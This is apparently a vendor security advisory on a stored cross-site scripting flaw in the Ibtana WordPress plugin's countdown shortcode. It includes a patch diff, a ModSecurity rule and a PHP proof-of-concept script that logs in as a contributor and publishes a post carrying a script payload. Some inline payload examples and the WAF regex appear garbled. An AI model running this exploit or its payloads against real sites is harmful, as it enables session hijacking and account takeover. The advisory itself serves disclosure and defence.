Atomic Edge analysis of CVE-2026-1834:
The Ibtana WordPress Website Builder plugin contains an authenticated stored cross-site scripting (XSS) vulnerability in versions up to and including 1.2.5.7. The vulnerability exists within the plugin’s ‘ive’ shortcode handler, allowing contributor-level or higher authenticated users to inject arbitrary JavaScript into pages. The CVSS score of 6.4 reflects the medium severity of this issue.
Atomic Edge research identified the root cause as insufficient input sanitization and output escaping for user-supplied shortcode attributes. The vulnerable code resides in the `ive-countdown.php` file within the `WP_Ivecountdown::ive_countdown_shortcode` function. Specifically, the `$before` and `$after` parameters passed to the shortcode handler were processed using `htmlspecialchars_decode()` on lines 636 and 776 without proper escaping. This allowed HTML and JavaScript content to be directly rendered into the page output.
The exploitation method involves an authenticated attacker with contributor privileges creating or editing a post containing the vulnerable shortcode. The attacker crafts a malicious shortcode with JavaScript payloads in the ‘before’ or ‘after’ attributes. For example: [ive before=”alert(document.cookie)”] or [ive after=”
“] When the post is viewed by any user, the payload executes in the victim’s browser context.
The patch in version 1.2.5.8 addresses the vulnerability through multiple security improvements. The primary fix replaces `htmlspecialchars_decode($before)` and `htmlspecialchars_decode($after)` with `wp_kses_post($before)` and `wp_kses_post($after)` on lines 636 and 776 respectively. This WordPress function filters the content through the KSES HTML sanitizer, removing dangerous elements. Additionally, the patch adds `esc_attr()` escaping to numerous CSS property values that incorporate user-controlled variables, preventing CSS injection vectors.
Successful exploitation allows attackers to perform actions within the context of authenticated users viewing the malicious page. This can lead to session hijacking, account takeover, content modification, or redirection to malicious sites. The stored nature means the payload executes for every visitor to the compromised page, amplifying the attack’s impact.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/ibtana-visual-editor/ive-countdown.php
+++ b/ibtana-visual-editor/ive-countdown.php
@@ -634,66 +634,66 @@
$ive .= '<div class="'.esc_attr($style."-countdown").'">';
$ive .= '<div id="'.esc_attr($id."-tophtml").'" class="'.esc_attr($style."-tophtml").'">';
if($before){
- $ive .= htmlspecialchars_decode($before);
+ $ive .= wp_kses_post($before);
}
$ive .= '</div>';
$ive .= '<style>';
- $ive .= '@import url("https://fonts.googleapis.com/css2?family='.$fontfamilyname.':wght@'.$fontweight.'&display=swap");';
+ $ive .= '@import url("https://fonts.googleapis.com/css2?family='.esc_attr($fontfamilyname).':wght@'.esc_attr($fontweight).'&display=swap");';
$ive .= '
- .countdown-style-'.$id.'{
- background: '.$backgroundcolor.' !important;
- color: '.$textcolor.' !important;
- border: '.$borderwidth.'px solid '.$bordercolor.' !important;
- border-radius: '.$borderradius.'px !important;
- margin: '.$margintb.'px '.$marginlr.'px !important;
- }
- .countdown-width-height'.$id.':hover{
- color: '.$textcolorhov.' !important;
- }
- .countdown-style-'.$id.':hover{
- border: '.$borderwidth.'px solid '.$bordercolorhov.' !important;
- }
- .countdown-title-color-'.$id.'{
- color: '.$textcolor.' !important;
- font-family: '.$fonttypography.' !important;
- font-weight: '.$fontweight.' !important;
- font-style: '.$fontstyle.' !important;
- letter-spacing: '.$letterspacing.'px !important;
- text-transform: '.$texttransform.' !important;
+ .countdown-style-'.esc_attr($id).'{
+ background: '.esc_attr($backgroundcolor).' !important;
+ color: '.esc_attr($textcolor).' !important;
+ border: '.esc_attr($borderwidth).'px solid '.esc_attr($bordercolor).' !important;
+ border-radius: '.esc_attr($borderradius).'px !important;
+ margin: '.esc_attr($margintb).'px '.esc_attr($marginlr).'px !important;
+ }
+ .countdown-width-height'.esc_attr($id).':hover{
+ color: '.esc_attr($textcolorhov).' !important;
+ }
+ .countdown-style-'.esc_attr($id).':hover{
+ border: '.esc_attr($borderwidth).'px solid '.esc_attr($bordercolorhov).' !important;
+ }
+ .countdown-title-color-'.esc_attr($id).'{
+ color: '.esc_attr($textcolor).' !important;
+ font-family: '.esc_attr($fonttypography).' !important;
+ font-weight: '.esc_attr($fontweight).' !important;
+ font-style: '.esc_attr($fontstyle).' !important;
+ letter-spacing: '.esc_attr($letterspacing).'px !important;
+ text-transform: '.esc_attr($texttransform).' !important;
}
@media screen and (max-width: 767px){
- .countdown-title-color-'.$id.'{
- text-align: '.$mobalign.' !important;
- font-size:'.$moblabelfontsize.'px !important;
+ .countdown-title-color-'.esc_attr($id).'{
+ text-align: '.esc_attr($mobalign).' !important;
+ font-size:'.esc_attr($moblabelfontsize).'px !important;
}
- .countdown-number-fontsize-'.$id.'{
- font-size:'.$mobnumberfontsize.'px !important;
+ .countdown-number-fontsize-'.esc_attr($id).'{
+ font-size:'.esc_attr($mobnumberfontsize).'px !important;
}
}
@media screen and (min-width: 768px) and (max-width: 1023px){
- .countdown-title-color-'.$id.'{
- text-align: '.$tabalign.' !important;
- font-size:'.$tablabelfontsize.'px !important;
+ .countdown-title-color-'.esc_attr($id).'{
+ text-align: '.esc_attr($tabalign).' !important;
+ font-size:'.esc_attr($tablabelfontsize).'px !important;
}
- .countdown-number-fontsize-'.$id.'{
- font-size:'.$tabnumberfontsize.'px !important;
+ .countdown-number-fontsize-'.esc_attr($id).'{
+ font-size:'.esc_attr($tabnumberfontsize).'px !important;
}
}
@media screen and (min-width: 1024px){
- .countdown_main_'.$id.'{
- justify-content:'.$tabalignment.';
+ .countdown_main_'.esc_attr($id).'{
+ justify-content:'.esc_attr($tabalignment).';
display:flex;
}
- .countdown-title-color-'.$id.'{
- text-align: '.$deskalign.' !important;
- font-size:'.$desklabelfontsize.'px !important;
- }
- .countdown-width-height'.$id.'{
- width:'.$deskwidth.'px !important;
- height:'.$deskheight.'px !important;
+ .countdown-title-color-'.esc_attr($id).'{
+ text-align: '.esc_attr($deskalign).' !important;
+ font-size:'.esc_attr($desklabelfontsize).'px !important;
+ }
+ .countdown-width-height'.esc_attr($id).'{
+ width:'.esc_attr($deskwidth).'px !important;
+ height:'.esc_attr($deskheight).'px !important;
}
- .countdown-number-fontsize-'.$id.'{
- font-size:'.$desknumberfontsize.'px !important;
+ .countdown-number-fontsize-'.esc_attr($id).'{
+ font-size:'.esc_attr($desknumberfontsize).'px !important;
}
}
';
@@ -774,12 +774,10 @@
$ive .= '<div id="'.esc_attr($id.'-bothtml').'" class="'.esc_attr($style.'-bothtml').'">';
if($after){
- $ive .= htmlspecialchars_decode($after);
+ $ive .= wp_kses_post($after);
}
$ive .= '</div></div></div>';
- $lt = date( 'n/j/Y H:i:s', strtotime(current_time('mysql')) );
-
if(is_numeric($launchwidth)){
$launchwidth .= 'px';
}
@@ -839,6 +837,4 @@
}
}
-$WP_Ivecountdown = new WP_Ivecountdown;
-
-?>
+$WP_Ivecountdown = new WP_Ivecountdown;
No newline at end of file
--- a/ibtana-visual-editor/plugin.php
+++ b/ibtana-visual-editor/plugin.php
@@ -3,7 +3,7 @@
* Plugin Name: Ibtana - WordPress Website Builder
* Plugin URI: https://www.vwthemes.com/products/wordpress-website-builder/
* Description: Build your dream WordPress website with Ibtana, a powerful website builder with customizable templates and drag-and-drop elements for customization.
- * Version: 1.2.5.7
+ * Version: 1.2.5.8
* Requires at least: 5.2
* Requires PHP: 7.2
* Author: VowelWeb
@@ -33,7 +33,7 @@
require_once( ABSPATH . 'wp-admin/includes/plugin.php' );
}
-define( 'IVE_VER', '1.2.5.7' );
+define( 'IVE_VER', '1.2.5.8' );
define( 'IBTANA_LICENSE_API_ENDPOINT', 'https://preview.vwthemesdemo.com/old_website/wp-json/ibtana-licence/v2/' );
define( 'IBTANA_THEME_URL', 'https://www.vwthemes.com/' );
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-1834
SecRule REQUEST_URI "@rx /wp-admin/(?:post.php|admin-ajax.php)"
"id:10001834,phase:2,deny,status:403,chain,msg:'CVE-2026-1834 Ibtana Stored XSS via shortcode',severity:'CRITICAL',tag:'CVE-2026-1834',tag:'wordpress',tag:'plugin',tag:'ibtana',tag:'xss'"
SecRule REQUEST_BODY "@rx [ive[^]]*(?:before|after)s*=s*['"]?[^'"]*<[^>]*script[^>]*>"
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1834 - Ibtana - WordPress Website Builder <= 1.2.5.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
// Payload to inject via the 'before' attribute
$malicious_payload = '<script>alert("Atomic Edge XSS Test - CVE-2026-1834");</script>';
// Create the malicious shortcode
$shortcode_content = '[ive before="' . $malicious_payload . '"]';
// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Get login form nonce
$response = curl_exec($ch);
preg_match('/name="log"[^>]*>/', $response, $matches);
// Prepare login POST data
$post_fields = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $admin_url,
'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$response = curl_exec($ch);
// Step 2: Create a new post with the malicious shortcode
$new_post_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $new_post_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
// Extract nonce for post creation
preg_match('/name="_wpnonce" value="([^"]*)"/', $response, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';
// Prepare post data with malicious shortcode
$post_data = array(
'post_title' => 'Atomic Edge XSS Test Post',
'content' => $shortcode_content,
'publish' => 'Publish',
'_wpnonce' => $nonce,
'_wp_http_referer' => '/wp-admin/post-new.php',
'post_type' => 'post',
'post_status' => 'publish'
);
$save_post_url = $target_url . '/wp-admin/post.php';
curl_setopt($ch, CURLOPT_URL, $save_post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);
// Extract the new post ID
preg_match('/post=([0-9]+)/', $response, $post_id_matches);
$post_id = $post_id_matches[1] ?? '';
if ($post_id) {
echo "Exploit successful! Post created with ID: $post_idn";
echo "Visit: $target_url/?p=$post_id to trigger the XSS payload.n";
} else {
echo "Exploit may have failed. Check authentication and permissions.n";
}
curl_close($ch);
?>
